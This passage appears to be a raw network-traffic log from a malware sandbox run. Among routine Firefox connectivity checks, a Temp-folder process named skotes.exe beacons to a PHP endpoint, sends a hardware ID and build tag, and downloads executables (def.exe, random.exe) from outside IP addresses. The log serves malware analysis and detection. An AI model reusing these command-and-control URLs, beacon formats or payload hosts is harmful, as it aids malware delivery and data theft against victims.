Oct 30, 2024 05:26:08.658216000 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 05:26:08.783374071 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 43837 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 05:26:08.793576956 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 05:26:08.918062925 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 43837 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 05:26:09.240812063 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	50072	34.107.221.82	80	2524	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:26:08.045802116 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 05:26:08.641009092 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 52911 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 05:26:08.664527893 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 05:26:08.789896011 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 52911 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 05:26:09.031820059 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 05:26:09.156812906 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 52912 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 05:26:09.774471998 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 05:26:09.899591923 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 52912 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 05:26:13.796808004 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 05:26:13.921674967 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 52916 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 05:26:23.921432018 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	50077	185.215.113.43	80	3700	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:26:08.745316982 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 05:26:09.640367031 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:26:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	50079	34.107.221.82	80	2524	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:26:09.927650928 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 05:26:10.523350954 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 43839 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 05:26:13.939299107 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 05:26:14.064321041 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 43843 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 05:26:24.083391905 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	50081	185.215.113.43	80	3700	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:26:11.276882887 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	50084	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:26:12.916219950 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 05:26:13.845568895 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:26:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	50088	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:26:15.368993998 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 30, 2024 05:26:16.283404112 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:26:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	50091	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:26:17.921447992 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 05:26:18.838759899 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:26:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	50093	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:26:18.774298906 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 05:26:19.670597076 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:26:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 05:26:19.673697948 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJDGCAEBFIIECAKFHIJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 44 30 45 38 39 38 41 35 31 39 44 31 35 32 34 37 35 30 30 33 37 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 2d 2d 0d 0a Data Ascii: ------GIJDGCAEBFIIECAKFHIJContent-Disposition: form-data; name="hwid"3D0E898A519D1524750037------GIJDGCAEBFIIECAKFHIJContent-Disposition: form-data; name="build"tale------GIJDGCAEBFIIECAKFHIJ--
Oct 30, 2024 05:26:19.956824064 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:26:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	50094	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:26:19.897953033 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 05:26:20.800535917 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:26:20 GMT Content-Type: application/octet-stream Content-Length: 2899456 Last-Modified: Wed, 30 Oct 2024 03:12:16 GMT Connection: keep-alive ETag: "6721a410-2c3e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 f0 41 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$, `@ ,A,`Ui` @ @.rsrc`2@.idata 8@mljriapp++:@mudtavgt ,,@.taggant@,",@
Oct 30, 2024 05:26:20.800554037 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:26:20.800566912 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:26:20.800579071 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:26:20.800587893 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:26:20.800600052 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:26:20.800611019 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:26:20.800621986 CET	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:26:20.800632954 CET	948	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:26:20.800645113 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:26:20.810591936 CET	1236	IN	Data Raw: 52 f4 4c 46 8b 51 2c cc 48 6f c2 43 3b 62 65 1b 80 51 29 ac e8 7e 9b cb 48 6f c2 b5 39 66 65 cb 7b 51 4f 4a 59 22 e6 53 2a a6 46 e3 1b 77 c7 69 3a 6a b0 cc d8 51 df 53 26 40 49 9c e0 63 fc 98 43 0c 43 4b 9b 7b c3 23 5b 88 4d 21 7a 6c e6 cf a9 4e Data Ascii: RLFQ,HoC;beQ)~Ho9fe{QOJY"S*Fwi:jQS&@IcCCK{#[M!zlNpiY9UMbR\g\|FlcxzuMXEWLSCq]C)3MWDhFGFh(Ub%Z`_^_kNykc?ONPsDa`@FPx9?aZ@ED~LG@DTRFpHb
Oct 30, 2024 05:26:22.704606056 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 05:26:22.990192890 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:26:22 GMT Content-Type: application/octet-stream Content-Length: 1883648 Last-Modified: Wed, 30 Oct 2024 04:13:06 GMT Connection: keep-alive ETag: "6721b252-1cbe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 90 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@J @WkrJqJ @.rsrc@.idata @ *@jqddeztg0@hzelrcyvJ@.taggant0J"@

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	50102	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:26:32.619827986 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 05:26:33.223901987 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 52936 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 05:26:33.296459913 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 05:26:33.422841072 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 52936 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 05:26:33.545995951 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
